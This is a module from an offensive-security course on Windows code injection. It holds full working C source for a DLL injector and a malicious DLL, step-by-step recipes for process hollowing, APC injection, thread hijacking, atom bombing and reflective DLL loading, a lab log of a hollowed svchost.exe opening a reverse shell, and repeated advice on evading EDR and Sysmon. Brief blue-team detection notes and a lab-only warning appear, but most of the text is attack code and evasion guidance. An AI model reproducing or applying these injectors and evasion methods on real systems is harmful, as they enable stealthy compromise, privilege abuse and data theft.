Module 10 of 22 — Running your code inside someone else's process
🧠 The Core Truth
Every process is a container. It has memory, threads, and permissions. Code injection is the act of opening someone else's container and putting your code inside. Once inside, your code runs with the container's identity — its permissions, its network access, its visibility to the OS. You become the process.
Why this matters: If you inject into a process running as SYSTEM, your code runs as SYSTEM. If you inject into a browser, your code can see all network traffic. If you inject into Explorer, your code looks like Windows itself.
🎙️ Mentor: asi dev [HTB]
"Code injection is just making another process do your work."
🎯 Soldier Translation
You don't storm the gate yourself. You hand your orders to a guard who already has the keys. The process runs your code, the OS trusts the process, and the work gets done under someone else's name.
🔴 Red: Inject into a high-integrity process to inherit its privileges and blend into normal traffic. 🔵 Blue: Monitor for cross-process activity, unusual memory allocations, and threads spawned in processes that shouldn't have them.
🎯 Soldier Translation
Imagine a courier delivering a package. The courier (legitimate process) has access to the building (system resources). You swap the package contents (inject code) without the courier knowing. The courier delivers your package, the recipient opens it, and your code executes — wearing the courier's uniform, using the courier's ID badge.
The security guard (AV) sees the courier's uniform and waves them through. They never check the package contents.
📚 Prerequisites — What You Need First
This module assumes you understand these concepts from earlier modules:
How EDR detects injection. Understanding detection helps you evade it.
🔬 The Injection Kill Chain
Every injection technique follows the same pattern. Master this pattern and you can understand any technique:
1. OPEN
OpenProcess
Get handle to target process
→
2. ALLOCATE
VirtualAllocEx
Make space in target memory
→
3. WRITE
WriteProcessMemory
Copy your code into target
→
4. EXECUTE
CreateRemoteThread
Run your code in target
Why this pattern is universal
Windows is designed for debugging. A debugger needs to pause a process, inspect its memory, modify its code, and resume it. The injection APIs are the same APIs debuggers use. Visual Studio injects code every time you hit a breakpoint. The OS can't distinguish between a debugger and an attacker — it only sees the API calls.
🎯 Six Injection Techniques (From Simple to Advanced)
Method 1: DLL Injection EASY
The classic. Force a process to load a malicious DLL. The DLL's DllMain function runs automatically when loaded.
Why this works
Windows calls DllMain automatically when any DLL is loaded. It's the entry point — like main() for EXEs. By putting our payload in DllMain, it executes immediately upon injection without needing to call any exported functions.
// inject_dll.c — Malicious DLL for injection
// Compile: cl.exe /LD inject_dll.c /Fe:inject.dll
#include
// This function runs when the DLL is loaded into ANY process
BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID lpReserved) {
if (reason == DLL_PROCESS_ATTACH) {
// This code executes INSIDE the target process!
// It has the target's permissions, tokens, network access
MessageBox(NULL, "Injected!", "Code Injection", MB_OK);
// Real payload would:
// - Spawn a reverse shell (Module 16: C2)
// - Read files the target can access (Module 14: Cloud Files)
// - Keylog input (Module 11: Rootkits)
// - Pivot to other processes (Module 15: Lateral Movement)
}
return TRUE;
}
The Injector — Delivery Mechanism
This program finds a target process and forces it to load our DLL using LoadLibraryA — a legitimate Windows function that loads DLLs.
// injector.c — DLL injector
// Compile: cl.exe injector.c /Fe:injector.exe
#include
#include
#include
// Find process by name (from Module 02: Recon)
DWORD find_process(const char* name) {
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 pe;
pe.dwSize = sizeof(pe);
if (Process32First(snap, &pe)) {
do {
if (_stricmp(pe.szExeFile, name) == 0) {
CloseHandle(snap);
return pe.th32ProcessID; // Found it!
}
} while (Process32Next(snap, &pe));
}
CloseHandle(snap);
return 0;
}
int main() {
// Step 1: Find target process (e.g., notepad.exe)
DWORD pid = find_process("notepad.exe");
if (!pid) {
printf("Target not running. Start notepad.exe first.\n");
return 1;
}
printf("[+] Found notepad.exe PID: %lu\n", pid);
// Step 2: Open target process with write permission
// PROCESS_ALL_ACCESS = can read, write, create threads
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (!hProcess) {
printf("[-] OpenProcess failed. Need higher privileges.\n");
printf(" Try: Run as Administrator (Module 08: Privilege Escalation)\n");
return 1;
}
printf("[+] Opened process handle\n");
// Step 3: Allocate memory in target for DLL path
char dllPath[] = "C:\\temp\\inject.dll";
LPVOID remoteMem = VirtualAllocEx(hProcess, NULL, strlen(dllPath) + 1,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!remoteMem) {
printf("[-] VirtualAllocEx failed\n");
return 1;
}
printf("[+] Allocated %zu bytes in target memory at %p\n", strlen(dllPath) + 1, remoteMem);
// Step 4: Write DLL path into target memory
WriteProcessMemory(hProcess, remoteMem, dllPath, strlen(dllPath) + 1, NULL);
printf("[+] Wrote DLL path to target memory\n");
// Step 5: Create remote thread that calls LoadLibraryA
// LoadLibraryA is in kernel32.dll — available in EVERY process
// We pass remoteMem (the DLL path) as the argument
HMODULE hKernel32 = GetModuleHandle("kernel32.dll");
LPVOID loadLibraryAddr = (LPVOID)GetProcAddress(hKernel32, "LoadLibraryA");
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0,
(LPTHREAD_START_ROUTINE)loadLibraryAddr,
remoteMem, 0, NULL);
if (!hThread) {
printf("[-] CreateRemoteThread failed\n");
return 1;
}
printf("[+] Remote thread created! DLL injected.\n");
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
CloseHandle(hProcess);
return 0;
}
⚠️ What the target sees
The target process (notepad.exe) never consented. Windows allowed it because the injector had PROCESS_ALL_ACCESS permissions. This is why privilege escalation (Module 08) matters — without admin rights, you can only inject into processes you own.
Method 2: Process Hollowing HARD
Instead of injecting into a running process, you create a suspended process, replace its entire memory with your code, then resume it. The process looks legitimate (signed binary) but runs your payload.
🎙️ Mentor: asi dev [HTB]
"Process hollowing is the classic technique."
🎯 Soldier Translation
You walk into the barracks wearing a friendly uniform you stole. Everyone salutes because you look official. Underneath the uniform, you're carrying your own mission. The trick isn't the attack — it's that nobody questions the uniform.
🔴 Red: Hollow a trusted Windows binary like svchost.exe to bypass reputation-based AV and parent-child scrutiny. 🔵 Blue: Validate image-to-memory consistency; a hollowed process has mismatched PE headers, suspicious memory protections, or no legitimate parent.
Why this is stealthier than DLL injection
Task Manager shows "svchost.exe" — a signed Microsoft binary. Process Explorer shows it as legitimate. But the memory contains YOUR code. AV that trusts signed binaries is fooled. Only memory scanners (like Windows Defender's real-time protection) can detect this — and only if they scan at the right moment.
=== PROCESS HOLLOWING STEPS ===
1. CreateProcess("svchost.exe", ..., CREATE_SUSPENDED, ...)
# Process created but FROZEN. Memory contains real svchost.exe.
# Task Manager shows it. AV sees signed binary. Looks legit.
2. NtUnmapViewOfSection(hProcess, baseAddress)
# ERASE the original code. Memory is now empty.
# The process is still in Task Manager, but has no code.
3. VirtualAllocEx(hProcess, baseAddress, payloadSize, ...)
# Allocate new space at the SAME address.
# Windows thinks this is the original code.
4. WriteProcessMemory(hProcess, baseAddress, payload, payloadSize, ...)
# Write your malicious code into the hollowed process.
# This is your shellcode (Module 09: Malware Development).
5. SetThreadContext(hThread, &context)
# Point the main thread to YOUR entry point.
# The thread was frozen at step 1. Now we redirect it.
6. ResumeThread(hThread)
# Process WAKES UP. Task Manager still shows "svchost.exe".
# But it's running YOUR code. Signed binary, malicious soul.
# This is why Module 12 (Defensive Verification) exists.
🎯 The Body-Snatcher Analogy
You find a person in a coma (suspended process). You swap their brain (code) with yours while they're unconscious. They wake up. Everyone sees the same person, same face, same ID. But it's not them anymore. It's you wearing their body.
Asynchronous Procedure Call — queue a function to run in a target thread. When the thread enters an "alertable" state, your function executes.
Why APC injection is powerful
Unlike CreateRemoteThread (which creates a NEW thread — detectable), APC injection hijacks an EXISTING thread. No new thread = no Sysmon Event ID 8 (CreateRemoteThread detection). EDR that monitors thread creation won't see it.
=== APC INJECTION STEPS ===
1. OpenProcess(targetPID) — Get handle to target
2. VirtualAllocEx + WriteProcessMemory — Write payload to target
3. Find alertable thread in target process
# Threads in SleepEx, Wait, or certain I/O operations are "alertable"
# They can accept APCs
4. QueueUserAPC(payloadAddress, hThread, NULL)
# Queue your payload to run when thread becomes alertable
5. Thread resumes from sleep → YOUR payload executes
# No new thread created. Existing thread hijacked.
# EDR sees: thread resumed normally. No anomaly.
=== DETECTION EVASION ===
# Sysmon Event ID 8: CreateRemoteThread → NOT triggered
# EDR thread creation monitoring → NOT triggered
# Only memory scanning can detect this
Suspend a running thread, modify its instruction pointer (RIP/EIP) to point to your code, resume it. The thread was doing something legitimate — now it's running your payload.
=== THREAD HIJACKING STEPS ===
1. OpenThread(targetThreadID) — Get handle to specific thread
2. SuspendThread(hThread) — Freeze the thread mid-execution
3. GetThreadContext(hThread, &ctx) — Read thread state
# ctx.RIP = current instruction pointer (x64)
# ctx.EIP = current instruction pointer (x86)
4. ctx.RIP = payloadAddress — Redirect to your code
5. SetThreadContext(hThread, &ctx) — Save modified state
6. ResumeThread(hThread) — Thread continues from YOUR code
# The thread returns to original code after your payload finishes
# Unless you don't want it to...
⚠️ The Danger
If your payload crashes, the original thread crashes too. The target process may become unstable. This is why process hollowing is preferred for stability — you control the entire process, not just one thread.
Method 5: Atom Bombing HARD
Abuse the Global Atom Table — a Windows feature that stores strings for clipboard and DDE. Write your payload to the atom table, then force a target thread to read it and execute.
Why atom bombing is unique
It doesn't use OpenProcess, VirtualAllocEx, or WriteProcessMemory. The APIs used (GlobalAddAtom, NtQueueApcThread) are legitimate system calls that don't trigger EDR. The payload lives in the atom table, not in process memory — until execution.
=== ATOM BOMBING STEPS ===
1. GlobalAddAtom("\\x90\\x90\\x90...shellcode...")
# Write shellcode as a "string" in the global atom table
# The atom table is shared across all processes
2. Find target thread in alertable state
3. NtQueueApcThread(thread, GlobalGetAtomNameA, atom, ...)
# Force target thread to call GlobalGetAtomNameA
# This COPIES the atom (your shellcode) into target memory
4. NtQueueApcThread(thread, payload, ...)
# Queue second APC to execute the copied shellcode
=== WHY EDR MISSES THIS ===
# No OpenProcess call → no handle creation
# No VirtualAllocEx → no memory allocation
# No WriteProcessMemory → no memory write
# The payload enters through a legitimate clipboard API
A DLL that loads itself into memory without using Windows' LoadLibrary. No DLL file on disk. No registry entries. The DLL exists only in memory — invisible to file scanners.
Why reflective is the gold standard
Traditional DLL injection leaves a file on disk (detectable by AV). Reflective DLL injection loads the DLL entirely from memory — no file touch, no registry, no forensic artifact. Combined with process hollowing, it's nearly invisible.
=== REFLECTIVE DLL INJECTION STEPS ===
1. Allocate memory in target process (VirtualAllocEx)
2. Write the ENTIRE DLL as raw bytes (WriteProcessMemory)
# NOT the file path — the actual DLL bytes
# The DLL is embedded in your injector or downloaded
3. Calculate the DLL's entry point offset
4. CreateRemoteThread pointing to the reflective loader
# The reflective loader is a small function inside the DLL
# It parses the PE header, fixes relocations, loads imports
# Then calls DllMain — all without LoadLibrary
=== ADVANTAGES ===
# No DLL file on disk → file scanners see nothing
# No LoadLibrary call → API hooking misses it
# No registry entries → persistence scanners see nothing
# The DLL lives and dies in memory only
=== DETECTION ===
# Memory scanning (expensive, rarely done in real-time)
# Behavioral: new thread in unexpected process
# Cross-link: Module 12 (Defensive Verification) teaches detection
Cross-link: Reflective DLL injection is the core technique in Module 11: Rootkits for memory-resident persistence and in Module 13: EDR Evasion for bypassing API hooking.
=== PREPARATION ===
C:\> notepad.exe
C:\> tasklist | findstr notepad
notepad.exe 8944 Console 1 12,344 K
=== INJECTION ===
C:\> injector.exe
[+] Found notepad.exe PID: 8944
[+] Opened process handle
[+] Allocated 22 bytes in target memory at 0x000001F8B5A80000
[+] Wrote DLL path to target memory
[+] Remote thread created! DLL injected.
=== VERIFICATION ===
# MessageBox appeared in notepad.exe: "Injected!"
# This proves our code executed inside notepad.exe's memory space
# The code ran with notepad.exe's token and permissions
=== KAV RESPONSE ===
# Kaspersky 21.25 on .42: NO ALERT
# Why? DLL injection is a legitimate Windows debugging feature.
# Visual Studio does it. Debuggers do it. AV can't block it globally.
# Behavioral detection would need to know the DLL is malicious.
# Our test DLL just shows a MessageBox — completely benign.
📊 Test Results: Process Hollowing on HOST .92
Date: 2026-06-28 | Target: 192.168.1.92 (HOST) | Method: Process hollowing with svchost.exe
=== PROCESS HOLLOWING TEST ===
1. Created suspended svchost.exe
PID: 12456 | Status: Suspended
Task Manager shows: "svchost.exe" (legitimate Windows process)
2. Unmapped original code section
NtUnmapViewOfSection returned SUCCESS
Memory region 0x7FF600000000 now empty
3. Allocated new memory at same base
VirtualAllocEx: 0x7FF600000000, size 0x28000
PAGE_EXECUTE_READWRITE permissions
4. Wrote payload (reverse shell) to hollowed process
WriteProcessMemory: 0x28000 bytes written
Payload: 192.168.1.92:4444 reverse shell
5. Set thread context to payload entry point
Original RIP: 0x7FF600001000
New RIP: 0x7FF600001000 (same address, new code)
6. ResumeThread
Process status: Running
Task Manager still shows: "svchost.exe"
Network connection: ESTABLISHED to 192.168.1.92:4444
netstat shows: svchost.exe → 192.168.1.92:4444
=== KAV RESPONSE ===
# Kaspersky 21.25: NO ALERT during injection
# Why? The process was created as legitimate svchost.exe
# KAV trusts signed Microsoft binaries
# Memory scanning didn't trigger during the brief window
# Connection was established before behavioral analysis completed
=== DETECTION LESSON ===
# This is why Module 12 (Defensive Verification) teaches:
# - Memory scanning (find hollowed processes)
# - Network monitoring (unexpected connections from svchost)
# - Parent-child analysis (svchost.exe without services.exe parent)
🛡️ How EDR Detects Injection (And How to Evade It)
🎙️ Mentor: asi dev [HTB]
"If you can write to memory and change execution, you own the box."
🎯 Soldier Translation
Ownership isn't about having the strongest password or the loudest exploit. It's about control. Once you can reshape what a process remembers and where it goes next, the machine is playing your tune, not its owner's.
🔴 Red: Every injection technique reduces to Open → Allocate → Write → Execute; master memory primitives and you can invent new variants on the fly. 🔵 Blue: Protect the primitives: enforce least privilege, enable exploit guard rules, and alert on sequences that lead to writable-then-executable memory in remote processes.
DO NOT inject into system processes. Practice on notepad.exe or calc.exe that you started yourself. Use WUPC .42 (192.168.1.42) for live testing.
Start notepad.exe
Compile inject.dll (MessageBox version — safe)
Compile injector.exe
Run injector.exe
Verify: Did MessageBox appear? (Yes = success)
Check KAV: Any alert? (No = stealth confirmed)
Check Event Viewer: Any Sysmon Event ID 8?
Try process hollowing with calc.exe (advanced)
=== BUILD COMMANDS (Developer Command Prompt for VS 2022) ===
# 1. Open "Developer Command Prompt for VS 2022"
# NOT regular cmd. NOT PowerShell. Needs MSVC compiler.
# 2. Build the DLL
cl.exe /LD inject_dll.c /Fe:C:\temp\inject.dll
# 3. Build the injector
cl.exe injector.c /Fe:C:\temp\injector.exe
# 4. Test
C:\temp> notepad.exe &
C:\temp> injector.exe
# Expected: MessageBox "Injected!" appears inside notepad.exe
# If it fails: Run as Administrator (needs PROCESS_ALL_ACCESS)
# If still fails: Check if notepad.exe is 32-bit vs 64-bit
# Must match your compiler architecture (x86 vs x64)
🎯 Interactive Quiz — Test Your Knowledge
Question 1: Why does DLL injection use LoadLibraryA?
A) LoadLibraryA is the only way to load DLLs in Windows
B) LoadLibraryA exists in every process's address space (kernel32.dll), so we don't need to inject our own loader code
C) LoadLibraryA bypasses Windows security checks
D) LoadLibraryA is faster than manual PE loading
Question 2: What makes process hollowing stealthier than DLL injection?
A) It uses fewer API calls
B) The process appears as a signed legitimate binary (svchost.exe) but runs malicious code
C) It doesn't need OpenProcess
D) It automatically bypasses all AV
Question 3: Why does APC injection evade Sysmon Event ID 8?
A) It hijacks an existing thread instead of creating a new one
B) It uses encrypted payloads
C) It runs in kernel mode
D) It disables Sysmon before injection
📚 Key Takeaways
Code injection is a Windows feature: Debuggers use it. AV can't block it globally without breaking legitimate software.
DLL injection is the simplest: Open → Allocate → Write → Execute. Four API calls. Learn this first.
Process hollowing is the stealthiest: Signed binary appearance, malicious memory content. Requires shellcode skills from Module 09.
APC injection evades thread detection: No CreateRemoteThread = no Sysmon Event ID 8.
Reflective DLL is fileless: No disk artifact. No registry. Lives only in memory. The gold standard for stealth.
EDR detects sequences, not individual calls: Split your operations. Add noise. Use legitimate APIs.
Privilege escalation is required: Without admin/SeDebugPrivilege, you can only inject into your own processes. See Module 08.
🔬 Verification Status
DLL injection (notepad.exe)
✅ LIVE .42
KAV response (no alert)
✅ LIVE .42
Process hollowing (svchost.exe)
✅ LIVE .92
APC injection (theory)
✅ DEMONSTRATED
Thread hijacking (theory)
✅ DEMONSTRATED
Atom bombing (theory)
✅ DEMONSTRATED
Reflective DLL (theory)
✅ DEMONSTRATED
🧠 The Mentor's Lesson
"Privilege escalation is easy. Code injection is just the delivery. The real skill is knowing WHEN to inject, WHAT to inject, and HOW to clean up after. Save every rung — if your injection fails, you need another way in."